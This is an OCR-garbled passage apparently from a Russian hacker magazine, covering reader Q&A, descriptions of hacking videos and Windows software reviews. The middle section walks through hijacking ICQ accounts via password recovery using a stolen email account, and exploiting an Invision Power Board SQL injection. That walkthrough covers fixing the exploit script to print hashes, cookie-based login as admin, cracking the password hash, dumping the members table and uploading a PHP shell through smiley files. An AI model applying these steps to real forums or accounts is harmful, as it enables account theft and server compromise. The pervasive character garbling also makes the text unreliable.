мендует перезаправлять его картридж. Именно по этой причи- 
не ты и не смог найти подходящий тонер. Впрочем, не буду та- 
ить: заправить его все-таки можно (правда, на свой страх и 
риск). Дело в том, что у этого принтера есть брат-двойник — 
Хегох 3130, который полностью его повторяет. Компания Хегох 
ведет совершенно другую политику по поводу заправки карт- 
риджей, поэтому ты без труда найдешь тонер под эту модель. А 
значит, и под свой принтер тоже. 

Скажи, пожалуйста, существует ли возможность подключить к 
компьютеру сразу четыре (!) монитора? Начальство требует, но ме- 
ня терзают смутные сомнения, что два монитора — это предел. 

Я..- Действительно, с подключением двух мониторов проблем воз- 
никнуть не должно. На многих современных мониках устанавлива- 
ются два РАМОАС'а и, соответственно, два видеовыхода. Как 
правило, это цифровой ОѴІ для ІСО-дисплеев и аналоговый ѴѲА, 
к которому подключаются обычные СРТ-мониторы. 

Однако с подключением четырех мониторов задача существенно 
усложняется. Поддерживающих их видеокарт совсем немного. 
Среди них вся линейка ОЮ и модель 0450x4 ММ3 от Маігох 
(ѵ/тл/.таі^гох.сот), модель РТюепіх 9000 ОО от малоизвестной 
компании Арріап (т/тѵ.арріап.сот), серия Оиасіго N'73 от МѴЮІА 
(т/тѵ.пѵісііа.сот). По слухам, правда, работают они неважнецки. 
Если ожидаются серьезные нагрузки на видеосистему, опытные 
ребята рекомендуют устанавливать вместо одной две карты по 
два видеовыхода. Для этого, правда, придется еще найти матери- 
нскую плату с двумя разъемами РСІ-Е, Но для хорошего дела и 
этого не жалко. 

Что такое шейпер и почему он так необходим? 

Я,: Шейпер — это программное или аппаратное средство для 
контроля и управления за нагрузкой интернет-канала. Объясняю 
на примере. Допустим, есть локальная сеть, состоящая из ста 
компьютеров. Доступ в интернет осуществляется через самый 
обыкновенный шлюз, настроенный на сервере. Теперь представь, 
что один из пользователей сети начинает тянуть из инета какой-ни- 
будь увесистый файл. Скажем, фильм или дистрибутив какой-ни- 
будь оси. Канал загружен под завязку — всем остальным пользо- 
вателям остается лишь биться головой о стенку. Они в обломе :). 
Такая ситуация может возникнуть, если в локалке не будет установ- 
лен контролирующий орган, который бы равномерно и динамичес- 
ки распределял возможности канала между всеми компьютерами 
в сети. Этим органом как раз и является шейпер. Он вычисляет ско- 
рость идущего через него трафика и в случае необходимости вно- 
сит соответствующие задержки в процесс передачи пакетов. На 
практике это позволяет в индивидуальном порядке ограничить ско- 
рость работы клиента, обозначив для него максимальную ско- 
рость. Более того, с помощью шейпера можно динамически расп- 
ределить имеющийся канал. При этом скорость ка>і<дого пользова- 
теля будет обратно пропорциональна количеству пользователей. 
Многие шейперы позволяют таіоке устанавливать ограничение по 
скорости передачи пакетов. Это может быть полезно для предо- 
твращения перегрузок в сети, связанных с эпидемией вирусов. 
Полгода назад лично мне это помогло нормализовать работу 
большой корпоративной сетки, в которой активно гулял ВіазТег :), 
Функции шейпера лучше всего выполняют дорогостоящие Сізсо и 
другие профессиональные маршрутизаторы. Хотя в небольших 
локалках вполне можно положиться на программные решения, в 
том числе и под \Л/іпсІо\л/з. Функции контроля ширины канала в той 
или иной степени поддерживают, в частности, ТгаТТІс ІпзресТог 
(уѵѵт/.зтагі'-тѳсііа.ги) и ОзегдаТе (ѵѵѵѵѵѵ.изегдаіе.ги) ® 
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[описание взлома: Ісд Наскіпд] 
[автор видео; сік] 

В этом столь незамысловатом ви- 
део хакер без особого труда де- 
монстрирует один из способов уго- 
на номеров ІСО. Думаю, ты знаешь, 
что самым популярным методом 
получения пароля от оси является 
ретрив пароля от ІІІМ'а на мыло. Ес- 
ли примак от юина не зарегистри- 
рован - можно порегать его и отп- 
равить на него пассворд. Но что 
делать, если мыло расположено 
на платном сервисе? 

Для начала он логиниться в зара- 
нее скоммунизженном у некого 
американца аккаунте на сервере 
\А/ѵ/ѵ/.еагіЫіпк.пеі . 

После этого он берет из базы при- 
маков первое попавшееся мыло и 
начинает его проверять на пред- 
мет занятооти. Пооле недолгих 
манипуляций хакеру удаются быст- 
ро найти свободный мэйл, после 
чего он регистрирует его на аме- 
риканском аккаунте. Дальше он 
без раздумий устремляетоя делать 
ретрив. Первые два шага прошли 
успешно, а вот на третий его поп- 
росили ввести какой-то странный 
код. Он решил проверить мыло, ко- 
торое только что зарегал. Зайдя на 
него, он увидел новое пиоьмо, кото- 
рое сразу же открыл. В нем он уви- 
дел тот оамый код, который его 
просили ввести в поле на третьем 
шаге ретрива. Скопировав код, ха- 
кер вставил его в поле. Немного по- 
думав, браузер выкинул его на 
страницу, по которой можно было 
судить, что он прошел третий шаг 
ретрива и попал на четвертый. На 
этом этапе нужно было ввести два 
ответа на секретные вопросы. А 
можно было и указать их, что хакер 
сделал. Задав два вопроса и дав 
на них ответы, хакер продолжил ра- 
боту. Через несколько секунд пе- 
ред его глазами появилась над- 
пись, которая гласила о том, что па- 
роль был успешно отправлен на 
мыло. Хакер быстро поспешил ту- 



да. Зайдя в почтовый ящик, он уви- 
дел еще одно новое письмо. Это 
ух<е точно был пароль. Просмотрев 
письмо, он окончательно 
убедился в своей правоте. Пароль 
действительно был у него! 

[автор видео: КЕ2] 

[описание видео: взлом ІРВ-форумо] 
Относительно недавно хакеры 
нашли ЗОЕ-инъекцию в форумах 
Іпѵізіоп Ро\л/ег ВоагсІ всех версий до 
2.0.4. Сайтов с такими движками 
полным-полно в Сети, и если начать 
ломать их все, можно сломать по- 
ловину инета :) Команда РІІЗН 
(гзЕѵоісІ.ги) выпустила эксплойт для 
взлома форума, за что им респект. 
В ролике показан взлом инвижона, 
причем сначала я сломаю им вер- 
сию 2.0.2, а потом 13.1. В одном 
месте сплойта авторы умышленно 
допустили ошибку, из-за которой 
сплойтом в результате своей рабо- 
ты выдает не хеш пароля (или 
Іодіп_кеу) админа, а звездочки. 
Обычные звездочки. Я понимаю, что 
парни не хотят, чтобы сплойтом 
пользовались все подряд, иначе 
может сложиться ситуация которая 
складывается каждый раз, когда 
находят новый баг в рбрВВ. Поэтому 
человек, немного знающий регі, 
быстро подредактит скрипт, изме- 
нив 90ю строчку, в результате чего 
сплойт будет выдавать хеш, а не ду- 
рацкие звездочки. Далее я беру 
первый попавшийся форум и ло- 
маю его с помощью эксплойта. 
Параметры передаю такие: 
«регІ ірЬ.рІ М1'р://5І1'е_асІсІге55/ 
/іогит _ро//і/» 

и две цифры: тетЬег_ісІ юзера и 
версию форума. Если на сайте на- 
ходится форум версии 1.*, то ну>кно 
поставить о, если 2.* то 1 Для фору- 
ма М1р://зі1'е/Еогит/ версии 2.* для 
взлома юзера с тетЬег_ісІ = 50 
нужно передать такие параметры: 
«ІтН'р://5І1'е/ /(отит/ 50 1». После не- 
долгого охтидания на экране поя- 
вится наш ЮѲІМ_КЕУ. В версии 2.*, 



то что ле>кит у нас в кукисах в пере- 
менной раз5_ЬазІі, НЕ является за- 
шифрованным ГПСІ5 паролем юзе- 
ра. Это только значение-ключ для 
авто-логина. Подставив в куки тет- 
Ьег_1с1 (номер юзера) и раз5_ЬазІі 
(ключ) мы можем залогинится под 
этим аккаунтом этого юзера. В ви- 
део, конечно, я беру тетЬег_1с1=1 
для получения ключа админа. 

В версии 1* все обстоит куда инте- 
реснее. Поменяв значения в куки- 
сах, мы заходим на форум, но ро- 
лик на этом не останавливается. 
разз_ЬазІі - это просто зашифро- 
ванный алгоритмом М05 пароль 
юзера (в нашем случае - админа 
:)). Я расшифровываю его, и успеш- 
но захожу в админскую панель уп- 
равления (для входа в админку тре- 
буется ввести пароль). 

Итак, мы в админке. Теперь мох<но 
будет слить таблицу 1ЬТ_теппЬегз и 
потом по ней брутить аськи и кра- 
сивые емейлы. А можно, напри- 
мер, залить рбр-шелл в директо- 
рию /Ытпі/еппоТісопз. Делается это 
через омайлики. А что, форуму по- 
фигу, имеет новый смайлик расши- 
рение ірд, діТ или рЬр - какая там 
разница? ;) 

И все, что я тут написал, вы мохтете 
узреть на нехитром видео, которое, 
как всегда, лежит на диске. 

В] МММ Егее 2.0. Если ты часто ус- 
танавливаешь новые программки, 
то рано или поздно контекстное 
меню твоего эксплорера разрас- 
тается в разы (это когда ты правой 
кнопкой щелкаешь, вызывая при 
этом меню). Это раздрахтает, так 
как затрудняет и замедляет работу, 
да и половина пунктов меню бывает 
нух<на дай бог раз в месяц. Специ- 
ально для этих целей была создана 
маленькая, но чрезвычай(кофе,по- 
танцуем)но полезная утилитка - 
МММ Егее 2.0, позволяющая преоб- 
разовать контекстное меню, а 
именно: создать в нем группы. 
Подсказка: создай себе группу 



"ацтой" и запихни туда все, что не 
используешь. 



[Ц РаЕсЬЕасЕогу 3.2. Разработчики 
программного обеспечения, эта 
софтинка будет сослужит для вас 
очень охрошую слухтбу, причем 
почти в друхтбу (прога не бесплат- 
на, но триальна в течение месяца). 
Хотя и обычный среднестатисти- 
ческий пользователь сможет найти 
ей применение. Фабрика патчей 
позволяет создавать самораспа- 
ковывающиеся патчи, которые мо- 
гут изменять данные сразу в нес- 
кольких файлах, имеющих отноше- 
ние к твоей программе. Легкое уп- 
равление, удобный интерфейс и, 
ех<ель что, \д/ігагсІ помогут тебе 
справиться с этой задачей в крат- 
чайшие сроки © 
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ІСЕ ЕСС V 1.0 Ьеіа 

ѴѴІПСІОЩ5 9х/Мѳ/МТ/2к/ХР 

Зігѳ: 545 Кб 

Ргее\л/аге 

ѵллллл/.ісе-дгарРіісз.сот 



Хранить информацию на компакт-дисках удобно и 
выгодно. К сожалению, со временем многие СО/ОѴО 
начинают читаться все хуже и хуже из-за небрежного 
обращения или ввиду деградации рабочего слоя. 
Впрочем, я более чем уверен, что проблема полу- 
дохлых компактов знакома тебе не понаслышке. Но 
знаешь ли ты, что один из возможных способов ее ре- 
шения заключается в использовании помехозащит- 
ного кодирования 
Рида -Соломона? 
Честно признаюсь, 
до тех пор, пока в 
мои руки не попала 
утилита ІСЕ ЕСС, я 
об этом даже не за- 
думывался. Но пос- 
ле того как ІСЕ ЕСС 
восстановила мне 
несколько специ- 
ально испорченных 
файлов, я стал ее 
ярым поклонником. 
Если не вдаваться в 
высшую математи- 




ку, все выглядит довольно просто: ты запускаешь программу, вы- 
деляешь важные файлы (каталоги), и ІСЕ ЕСС создает для них 
файл/файлы с кодами коррекции ошибок (.есс). Данные вмес- 
те с соответствующими есс-файлами записываются на диск и... 
собственно, все! Если через какое-то время диск начнет сбо- 
ить, ты перепишешь сохранившиеся данные на винт, а затем, 
натравив утилиту ІСЕ ЕСС на файлы с кодами коррекции оши- 
бок, восстановишь поврежденную или отсутствующую часть ин- 
фы. Главное, чтобы объем повреждений был меньше размера 
.есс-файла. Причем восстановление информации будет воз- 
можно и в том случае, если сам файл с кодами коррекции оши- 
бок сохранился не идеально. 

Тісіу Зіагі Мепи ѵ 1 .4 

ѴѴІпсІо\л/з 9х/Ме/МТ/2к/ХР 

ЗІге: 525 Кб 

Ргее\л/аге 

\ллл/\л/.Г1с1узГагГтепи.сопп/ги/1пс1ех.зГ|Гт1 



С помощью ТІсІу ЗГагГ Мепи даже в самом загаженном меню 
«Пуск» можно за пару минут навести образцовый порядок. 
Принцип действия утилиты до гениальности прост. Есть станда- 
ртный набор категорий («Интернет», «Офис» и т.д), и есть теку- 
щий список элементов меню. От тебя требуется лишь раски- 
дать элементы по категориям: на вкладке «Графика» отметить в 
списке галочками графические программы, на вкладке «Офис» 
— офисные, и т.д. Что прикольно: проги, которые ты отнес, до- 
пустим, к категории «Графика», исчезают из общего списка, так 
что на других вкладках ты их уже не увидишь. В этом и заключа- 
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ется основная прелесть Тісіу ЗІагІ Мепи. Шаг за шагом список 
неупорядоченных программ становится меньше и меньше, по- 
ка его остатки не исчезнут совсем из раздела «Разное». Когда 
же это случится, тебе останется лишь нажать на кнопку «Гото- 
во», и пусковое меню будет перестроено в соответствии с тво- 
ими пожеланиями. Класс! 

Само собой, все то же самое можно сделать и вручную, однако 
с Тісіу ЗТагТ Мепи уборка превращается в удовольствие. Тем более 
что программа имеет функцию отката и позволяет вносить допол- 
нения в стандартный набор категорий. 

ІІН 8поорег V 2.03 

ѴѴІпсІохл/з 9х/Ме/МТ/2к/ХР 

Зіге: 1871 Кб 

Ргее\л/аге 

\ллл/\л/.сІопаТіопсосІег.сот/игІзпоорег 




Терпеть не могу, когда линк на скачивание маскируется с по- 
мощью скриптов, и мне не нравится, если во время установки 
программа начинает непонятно что подгружать из Сети, Впро- 
чем, человеку, вооруженному Угі Зпоорег, все эти секреты и хит- 
рости кажутся детским лепетом, поскольку указанная прога 
контролирует обмен трафика между твоей машиной и инетом, 
отслеживая запросы и показывая реальные адреса скачивае- 
мых файлов. 

Настройка ПгІ Зпоорег сводится к выбору сетевого адаптера на 
вкладке Ѳепега! ОрГіопз. После этого можно сразу же переклю- 
чаться на ЗеагсГі и нажимать ЗпіГГ МеГѵѵогк. Обрати внимание, что в 
программе предусмотрена гибкая система фильтров. При выбо- 
ре пункта ЗГю\л/ АН в графе РгоГосо! НІГег на экран выводятся все 
перехваченные адреса. Если при этом в графу Кеу\л/огс1 ЕІІГег впи- 
сать «гір», то в списке останутся лишь ссылки на гір-архивы. Пуніа 
МиІГітесІіа УРЕз в графе РгоГосо! ЕІІГег предназначен специально для 



любителей потокового аудио/видео. В общем, как видишь, ничего 
сложного. Зато удовольствия море! Ну честное слово! Без Уг! 
Зпоорег'а по сайтам с кряками и ресурсам с защищенным медиа- 
контентом мне теперь и гулять-то не интересно! 

АсІѵапсесІ Апіі Кеуіоддег ѵ 3.4.2 

ѴѴІпсІохл/з МТ/2к/ХР 

Зіге: 718 Кб 

ЗГіаге\л/аге 

\ллллл/.зрусІех.сот 




Винчестер трижды проверен надежным антивирусом, но тебя 
все равно не оставляет ощущение, что твой компьютер на тебя 
кому-то стучит? Погоди пить таблетки и примерять смиритель- 
ную рубашку. Сначала протестируй свою машину специализи- 
рованной антишпионской софтиной. В качестве оной рекомен- 
дую использовать последнюю версию АсІѵапсесІ АпГІ 
Кеуіоддег — лучшего средства для отлова клавиатурных шпио- 
нов тебе, пожалуй, и не найти. В отличие от антивирусов, эта 
прога не пытается отыскать засланца путем длительной про- 
верки всех файлов по своей базе данных. Нет! Она просто 
смотрит, какие процессы в твоей системе отслеживают нажа- 
тие клавиш на клавиатуре, и выводит соответствующие инфор- 
мационные сообщения. 

Отлов шпионов в АсІѵапсесІ АпГІ Кеуіоддег производится в режи- 
ме ОизГот зесигіГу. В этом режиме прога показывает список 
всех подозрительных ехе'шников и сІІІ'ок и просит указать, каким 
приложениям можно осуществлять перехват нажатия клавиш, а 
каким — нет. Хотя, разумеется, плохие приложения лучше не 
запрещать, а удалять сразу, благо АсІѵапсесІ АпГІ Кеуіоддег да- 
ет тебе исчерпывающую информацию о месте их прописки в 
системе... Существует и другой режим работы программы — 
НІдГт зесигІГу, но он предназначен лишь для законченных парано- 
иков, поскольку его активация делает невозможной слежку за 
клавой вообще, в результате чего перестают работать не только 
клавиатурные шпионы, но и многие полезные софтины типа РипГо 
ЗѵѵіГсГтег или НоГ КеуЬоагсІ. 

Месііа Оеіесііѵе ѵ 2.2 «ЗХеш 

ѵѵіпсіо\л/з 9х/ме/ыт/2к/хр пележж>ае>і» 

ЗІпаге\л/аге 

Зіге: 7378 Кб 

\ллллл/.тесІІасІеГесГІѵе.сот 



Мощный инструмент, способный занять достойное место в арсе- 
нале любого борца с порнографией. Особая гордость разработ- 
чиков — механизм анализа изображений, проверяющий все об- 
наруженные картинки на наличие больших пятен цвета челове- 
ческой кожи. Лично я не устаю восхищаться оригинальностью та- 
кого решения, обеспечивающего высокое качество отлова асІиІГ- 
контента при минимальных затратах машинного времени. Ложных 
срабатываний минимум. Проверку на пятна легко проходит изоб- 
ражение ромашки на горном лугу, но мигом проваливает фотка 
пары-тройки обнаженных тел в интересной позиции. Помимо гра- 
фики и видеофайлов, сканирование проходят сіос, соокіез и ГтГппІ- 
файлы, а таіоке ГтІзГогу браузера ІЕ (идет поиск запрещенных слов 
в тексте и ссылках). Даже файлы с подозрительными названиями 








(вроде «рогпо» и 
«зех») Месііа Ое+ѳсНѵѳ 
обязательно берет 
на заметку. Короче 
говоря, файлы для 
взрослых от этой про- 
ги спрятать очень 
трудно. Ей даже 2ІР- 
архивы и сетевые 
диски по зубам. Са- 
мо собой, оконча- 
тельную проверку 
приходится выпол- 
нять человеку. Но, 
согласись, легче 
пробежаться взгля- 
дом по нескольким объектам в окне с результатами сканирова- 
ния и двумя кликами отправить в трэш лишнее, чем выискивать не- 
дозволенный контент на машине вручную. 

Новое в этой версии: прога научилась готовить для начальства 
отчеты в формате ѴѴогсІ или НТМЕ. Яркие, с картинками — аж 
глаз не оторвать! ;). 

ІІпІоскег V 1.5.2 

ѴѴІпсІо\д/з 2к/ХР 

Зіге: 77 Кб 

Ргее\л/аге 

!п'И'р://ссо11отЬ.(гее.(г/ип1оскег 



При попытке удаления файлов, 
которые уже используются дру- 
гим юзером или программой, 
винда выплевывает на экран 
сообщение об ошибке. Любого 
продвинутого пользователя, ко- 
торый точно знает, что он дела- 
ет, подобное сообщение силь- 
но раздражает, поскольку оно 
не предусматривает возмож- 
ности выбора варианта «Удалить все равно!». К счастью, эту до- 
садную недоработку можно легко исправить путем имплантации 
в систему утилиты ип!оскег. Тогда тебе достаточно будет кликнуть 
по неподатливому файлу или папке правой кнопкой мыши, выб- 
рать 11п!оск, и блокировка снята! Можешь делать с этим фай- 
лом/папкой все, что хочешь. 

В процессе работы Е)п!оскег показывает окно, в котором содер- 
жится исчерпывающая информация о том, какое именно прило- 
жение мешало тебе отправить выбранные файлы в трэш. В тех слу- 
чаях, когда в роли неподатливого файла выступает что-то вроде 
!од а!1 етаі!з зепі" апсі гесе!ѵесІ.М, такая информация, согласись, 
может быть весьма полезна. 

Правда, есть небольшая ложка дегтя — все-таки наличие 
ип!оскег'а не гарантирует 100% снятие блокировки. Именно поэ- 
тому на наш диск мы положили еще и чисто информационную ути- 
литу тзЕ !з0зес1Ву (тѵи/.тз/зо/Ти/аге.сот) и специализированную 
софтину для удаления самых неудаляемых файлов Ое!е1’е ОосЕог 
(и/ѵѵи/. сіізксіеапегв, сот) 

ТгиеСгурІ ѵ 3.1а 

ѴѴІпсІо\д/з 2к/ХР 

5іге: 640 Кб 

Ргее\л/аге 

Іп'И'р://1тиесгур1’.зоигсе(огде.пе1 



Новая версия отличной бесплатной программы для работы с 
шифрованными дисками. Пусть она не столь наворочена, как не- 
которые коммерческие продукты, зато относится к категории 
ореп зоигсе. А ты, думаю, сам понимаешь, что одно дело, когда 
об отсутствии лазеек в программе уверяют разработчики, и сов- 
сем другое, когда ты можешь лично в этом убедиться. К тому же, 
софтину ТгиеСгурР при всем желании нельзя обвинить в примитив- 
ности. С ее помощью ты без труда можешь создать либо защи- 
щенный файл-контейнер, либо, для большей надежности, зашиф- 
ровать сразу целый раздел жесткого диска, дискету или ЕІЗВ- 
драйв. На выбор пользователю предлагается полный набор попу- 



лярных алгоритмов шифрова- 
ния, причем есть возможность 
устроить сравнительный тест. 

Кроме того, ТгиеСгурІ" допуска- 
ет создание скрытых контейне- 
ров внутри существующих и да- 
же может работать в ТгаѵеІ!ег 
Мосіе, то есть без установки. 

Короче говоря, стандартный 
набор необходимых функций в 
программе присутствует. 

В комплеіа поставки ТгиеСгурТ входит подробное руководство, кото- 
рое я очень советую тебе прочитать, хотя особых сложностей при 
работе с программой обычно не возникает: зашифрованные диски, 
будучи подключенными к системе, ничем не отличаются от обычных, 
а шифрование/расшифровка данных идет в фоновом режиме. 

МаіІВох 8еп1гу ѵ 2.2.2 

ѴѴ!псІо\л/з 9х/Ме/МТ/2к/ХР 

Ргее\л/аге 

3!ге: 2085 Кб 

І~і11'р://зеп'Іту.сот.ги 



Все больше и больше стал доставать меня спам. На днях заглянул 
в статистику, собранную утилитой Маі! Вох ОІзраРсНег (\л/іл/и/.опЛ'- 
Брат-іооІ5.сот/ги), и выяснил, что за последние полтора месяца я 
получил восемь тысяч писем, из которых более семи тысяч убил 
прямо на сервере, не читая. Сразу захотелось послать всех спа- 
меров на фиг, благо подходящий софт я для этого уже присмотрел. 
Полностью защитить свои почтовые ящики (до пяти штук) от нежела- 
тельной корреспонденции позволяет программа Маі!Вох Зепіту. 
Она играет роль посредника между твоим мейлером и почтовым 
сервером и совместима со всеми почтовыми программами, рабо- 
тающими по протоколам РОРЗ и ЗМТР. Для борьбы со спамом ис- 
пользуется мощная интеллектуальная система «запрос — ответ» 
(то есть прога просит подтвердить і<а>кдую отправку письма, что 
нормальный человек, скорее всего, сделает, а спамер — нет). 
Разумеется, переход на подобную систему — серьезный шаг. Но в 
какой-то мере его облегчает русскоязычность и бесплатность 
Маі!Вох Зеп"!гу. К тому же, тем, кто пока все-таки еще не готов отка- 
заться от просмотра 
всей почты вручную, 
программа предла- 
гает полуавтомати- 
ческий режим, в кото- 
ром легитимная кор- 
респонденция про- 
пускается без проб- 
лем, а на долю юзе- 
ра остается лишь 
разгребание сооб- 
щений, не прошед- 
ших фейс-контроль. 

8капіх ІІІизіоп ѵ 4.02 

ѴѴ!псІо\д/з 2к/ХР 

3!паге\д/аге 

3!ге:4129 Кб 

\ллл/\л/.1"о1"5ес . сот 



Зкапіх !І!изіоп является аналогом программы 3!пасІоѵ\/изег, о которой 
я неоднократно тебе рассказывал. Принцип действия у нее тот же: 
при активации защищенного режима прога начинает эмулировать 
файловую систему выбранного тобой диска. Ты можешь убивать 
файлы и папки, гадить в реестре, запускать трояны и вирусы. Но сто- 
ит тебе открыть панель управления Зкапіх ІІІизіоп, нажать кнопку 
РезТоге Мо\л/ и перезагрузить машину, как последствия всех этих чу- 
довищных деяний чудесным образом исчезнут! Естественно, из за- 
щищенного режима можно выйти и с сохранением всех изменений. 
ЗНасІоѵѵизег работает точно так же. Но, ясный пончик, я бы не стал 
рассказывать тебе о Зкапіх ІІІизіоп, если бы между этой прогой и 
ЗНасІоул/ЕІзег не было бы нескольких очень важных отличий. Первое от- 
личие заключается в том, что Зкапіх ІІІизіоп (точнее, ее специальная 
версия) может работать в ѴѴіпсІо\л/з 9х/Ме. Второе отличие — функци- 
ональное. Зкапіх ІІІизіоп разрешает отдельным прогам даже в защи- 
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щенном режиме работать с ре- 
альным диском, а не его вирту- 
альным образом. То есть, к при- 
меру, ты можешь разрешить поч- 
товую программу, и тогда после 
выхода из заідищенного режима 
все полученные тобой письма ни- 
куда не денутся, зато исчезнут 
все изменения, внесенные в поч- 
товые базы какой-нибудь другой 
прогой (скажем, вирусом)! Что и говорить, отличие радикальное. Ведь 
умелое использование подобной функции допускает возможность 
организации оригинальной ограниченной заіциты, при которой толь- 
ко доверенные приложения могут вносить изменения в файловую 
систему твоего компа. 

Вооктагк Сопѵегіег 3.2 Веіа 2 

ѴѴІПСІОЩ5 95/98/МЕ/ЫТ/2К/ХР 

31іаге\л/аге 

Зіге: 4123 Кб 

\ллл/\л/.тадпизЬгасІіпд.сот 



Когда я ленив, ничто не может мне помочь. Не поможет и специальный 
менеджер закладок, который мне просто будет лениво ставить и ис- 
пользовать ежедневно. Лень проходит лишь при постоянной бессис- 
темной смене браузеров — ІЕ, Орега, Ріге^ох и в обратном порядке. 
После пересадки с одного на другой образуется сразу несколько ра- 
зобщенных Ьооктагк-наборов. Данная тулза предлагает оптимальное 
решение для ленивых исследователей новых браузеров. Теперь они 
могут перебрасывать закладки из одного браузера в другой. Един- 
ственный косяк — невозможность конвертировать закладки, подписан- 
ные разными языка- 
ми. Девелоперы обе- 
щают пофиксить 
проблему в ближай- 
шее время. Софтина 
довольно редкая, на 
кряки не очень бога- 
тая. Если тебе этот 
софт симпатичен, но 
платить лениво, озна- 
комься с фришным 
аналогом ІЛТЕВазе, 



РГОС688 Татег 2.00.15 Веіа 

ѴѴІпсІо\л/з 2К/ХР 

Егее\л/аге 

Зіге: 1385 Кб 

\ллллл/.сІопаТіопсосІег.сот 



Ты склонен перетя- 
гивать одеяло на се- 
бя? Программы от 
тебя ничуть не отли- 
чаются — постоянно 
пытаются поглотить 
нездоровый макси- 
мум ресурсов. От 
прожорливости их 
отучит Ргосезз Татег. 

Это миниатюрный мо- 
нитор, который будет 
висеть в трее и сни- 
жать приоритет прог, 
требующих слишком многого от твоих рабочих мощностей. Логичное, 
но неприятное исключение — софтина не сможет снизить потребле- 
ние ресурсов при работе с мощными 30-играми. Однако софт будет 
очень полезным при конвертировании звуковых и видеофайлов. Тогда 
часто случаются нежелательные перегрузы проца, чреватые зависа- 
нием других софтин системы, парализацией всей работы. Приоритет 
проги можно снижать и на ограниченное время для возвращения ком- 
па из комы и совершения необходимых движений. После внесения 
поправок можно возвращать систему в полный коматоз посред- 
ством выполнения единственной, но энергоемкой задачи. 



^осаI Ѵ\^еЬ8ІІе АгсЫѵе 1 .23 Веіа 1 

ѴѴІпсІохл/з 95/98/МЕ/МТ/2К/ХР 

ЗТіаге\л/аге 

Зіге: 1125 Кб 

\ллллл/.аідпез.сот/\д/загс 



Начиная с ІЕ версии 5.0, нам гарантируют полноценный оІТІІпе- 
доступ к посещенным веб-ресурсам. Многие годы, проведенные 
с продуктами М3, научили трезвости в отношении к подобным 
обещаниям. На самом деле ты не знаешь, насколько глубоко по- 
сещенные сайты будут доступны оффлайн, будут ли видны те стра- 
ницы, что спрятаны за ссылками сохраненных. Предлагаемый 
софт берет на себя подобный нелегкий труд, загоняя в архив ВСЕ 
посещенные ресурсы. Помимо экономии трафика, утилита может 
оказаться полезной 
при работе с ѴѴѴѴѴѴ- 
ресурсами, кото- 
рые имеют тенден- 
цию исчезать из Се- 
ти (вроде прошло- 
годних новостей и 
компромат-сайтов). 

Стянутые ресурсы 
можно сохранять в 
формате РОЕ. В про- 
гу интегрирован удоб- 
ный поисковик по оф- 
флайновому контенту. 

8ЕО КерогІ 1.00 Веіа 8 

ѴѴІпсіохл/з 95/98/МЕ/МТ/2К/ХР 

Зітаге\л/аге 

Зіге: 1125 Кб 

\ллллл/.зео-героіі'.пе1’ 



В наше время не важно, какой новый бизнес ты разрабатываешь. 
Сейчас все запарены оптимизацией уже существующих проек- 
тов. ЗЕО — Зеагсіт Епдіпе Ор+ітса+іоп, оптимизатор работы с по- 
исковиками. Ты можешь спросить: «Зачем владельцы ресурсов 
спускают несметные тысячи на закупку баннеров, когда той же 
посещаемости можно добиться простой наладкой ресурсов на 
доступность поисковикам?». Создатели предлагаемого ПО тоже 
не знают причин на растраты миллионов, они просто предлагают 
купить их работу за зеленую сотку. Прога мониторит твой рейтинг, 
просматривает успехи конкурентов, предлагает готовые решения 
по наращиванию популярности. Особенно пришлась по вкусу 

модная фишка с 
подготовкой і?33-ре- 
портов. Прога ра- 
ботает, отслежива- 
ет тему, а я только с 
РЭА репорты изу- 
чаю. Имея подоб- 
ного помощника, 
думать о раскрутке 
вовсе не нужно, пот- 
ребуется лишь де- 
лать умное лицо 
при просмотре от- 
четов :), 

СѵѵСеІ 1.47 Веіа 

ѴѴІпсіо\л/з 95/98/МЕ/МТ/2К/ХР 

ЗПаге\л/аге 



Зіге: 747 Кб 



\ллллл/.сіхзоІ1'.сот 




С детства ты хотел быть моряком, но папа 
заставил заниматься торговлей макаро- 
нами? Не все потеряно: ты еще можешь 
стать крутым морячком-радистом, когда 
поставишь себе дешифратор азбуки 
Морзе. Обрабатывая звук, Сѵ^/ѲеЕ может 
выдавать текст вместо привычных длинных- 












коротких писков. Сие может производиться как на лету, прослу- 
шиванием эфира, так и извлечением записи из звукового файла. 
Ради эксперимента мы с соседом стали посылать соответству- 
ющие радиосигналы, чтобы чатиться через программу друг с 
дружкой. Конечно, получается не столь комфортно, как в ІСО, но 
до безумия оригинально! 

За удовольствия софтины нужно платить... Пусть идут лучше на 
« » «..-» «. — »! :) 



РаІтРосІ 1.0 Веіа 

ѴУІпсІоул/з 2К/ХР 

Ргее\л/аге 

Зіге: 1190 Кб 

\л/\д/\л/.заррепіп.сот/ргосІис1'з/раІтросІ 



Мне надоело тягать 
с собой МРЗ/СО- 
плеер, и предо 
мной встал выбор: 
купить Раіт с боль- 
шой флешкой или 
ІРОО? К пользе пер- 
вого относилось на- 
личие планировщи- 
ка в карманнике. 

Второй же, если за- 
быть об отсутствии 
потребности в дру- 
гих РОА-функциях, 
явно получался лучшим выбором. Как же быть? Быть получается 
значительно комфортнее, когда РаітРосІ переносит все записи 
моего планировщика РаІт ОезкРор прямо в ІРОО. Софтина абсо- 
лютно бесплатна и проста, дальнейшее описалово излишне. ІРОО 
становится настоящей субкультурой, когда выпускаются самые 
разнообразные расширения под отдельно взятый девайс — спе- 
циальные акустические деки для подключения плеера (вроде об- 
разца от Возе) или навороченные кредлы для работы с МРЗ в ма- 
шине. На одном железе далеко не уедешь, и, вероятно, скоро мы 
увидим новые вариации на тему ІРоФ зоН’\л/аге. Глядишь, появится и 
отдельная ІРосІ ОЗ! 

СИеггуОЗ 1.2 

ѴѴІпсІо\л/з ХР 

ЗГіаге\д/аге 

Зіге: 7759 Кб 

\л/\л/\л/. тхз!пс . сот 



Только-только вышел 
урезанный Мае — 
Міпі Мае, и все сра- 
зу стали макофила- 
ми, подготовились 
распродать родные 
писюки и отдаться 
во власть фруктовой 
компании. Будет ли 
там комфортно? Там, 
под новой МасОЗ X? 
Это вопрос, на кото- 
рый следует отве- 
тить заочно — еще 
до избавления от 
привычного проверенного хозяйства. СБеггуОЗ — эмулятор Ѳ4- 
процессора, на базе которого можно крутить РапГГіег — пробив- 
ную операционку от Арріе. Работа в новой атмосфере поможет 
расширить твой юзерский опыт и вынести конечный вердикт — 
стоит ли уходить к яблочникам. Много времени на вынесение ре- 
шения не выделяется, ибо софт будет работать лишь ограничен- 
ное число дней. Некогда некоммерческое ореп зоигсе начина- 
ние было выкуплено гавайскими софт-барыгами. Есть и бесплат- 
ные эмуляторы Мас-процов, вроде реагрс.зоигсеГогде.пеГ. Для 
